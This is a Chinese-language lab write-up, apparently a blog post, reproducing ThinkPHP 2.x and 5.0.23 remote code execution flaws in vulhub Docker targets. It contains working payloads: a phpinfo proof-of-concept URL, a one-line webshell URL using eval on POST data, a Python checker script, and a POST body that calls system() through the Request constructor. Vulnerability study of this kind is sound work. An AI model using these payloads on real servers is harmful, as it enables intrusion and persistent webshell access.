Thinkphp漏洞
thinkphp2.x任意代码执行
启动靶场
[root@redhat vulhub]# cd thinkphp/
[root@redhat thinkphp]# ls
2-rce 5.0.23-rce 5-rce in-sqlinjection lang-rce
[root@redhat thinkphp]# cd 2-rce/
[root@redhat 2-rce]# docker-compose up -d
漏洞原理:使用preg_replace的/e模式匹配路由
/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
源码:
self::getPathInfo();
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
存在漏洞代码
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
其中的preg_replace('正则规则','替换字符','目标字符')
/e为可执行模式,@表示不报错
如果该正则规则表达式中使用了/e修饰符,那么就会存在代码执行漏洞
首先 \w+匹配到一个以上字符,接下来$depr匹配到一个网页路径分隔符,
([^'.$depr.'\/]+),首先[^abcd]表示匹配abcd以外的所有字符,
因此,原式所匹配的规则为匹配一个或多个除了网页分隔符和“\”以外的字符,
将输入匹配到的结果为a/b, c/${@print(eval($_POST[1]))}
例如:
<?php
@preg_replace('/test/e','print_r("AAA");','just test');
只要在“just test”中匹配到了“test”字符,就执行中间的print_r这条函数的命令。
POC:
/index.php?s=/index/index/xxx/${@phpinfo()}
也可以构造一句话木马
http://172.18.128.81:8080//index.php?s=a/b/c/${@print(eval($_POST[1]))}
Python poc
import requests
from urllib.parse import urljoin
#from bs4 import BeautifulSoup
def thinkphp2_rce(url):
payload = '?s=/index/index/xxx/${@phpinfo()}'
url = urljoin(url, payload)
response = requests.get(url)
if 'PHP Version 5.5.38' in response.text:
print('漏洞存在')
else:
print('漏洞不存在')
if __name__ == '__main__':
url = 'http://192.168.226.132:8080'
thinkphp2_rce(url)
thinkphp5.0.23任意代码执行
框架介绍:
ThinkPHP是一款运用极广的PHP开发框架。
漏洞原理:
其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
漏洞利用:
1、访问靶机地址+端口号 进入首页
2、Burp抓包修改传参方式为Post,传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd",其中pwd为系统执行命令可进行一系列操作。
复现过程:
[root@redhat thinkphp]# ls
2-rce 5.0.23-rce 5-rce in-sqlinjection lang-rce
[root@redhat thinkphp]# cd 5.0.23-rce/
[root@redhat 5.0.23-rce]# docker-compose up -d
抓包修改请求方法
/index.php?s=captcha #url后接
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd #POST传入参数
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义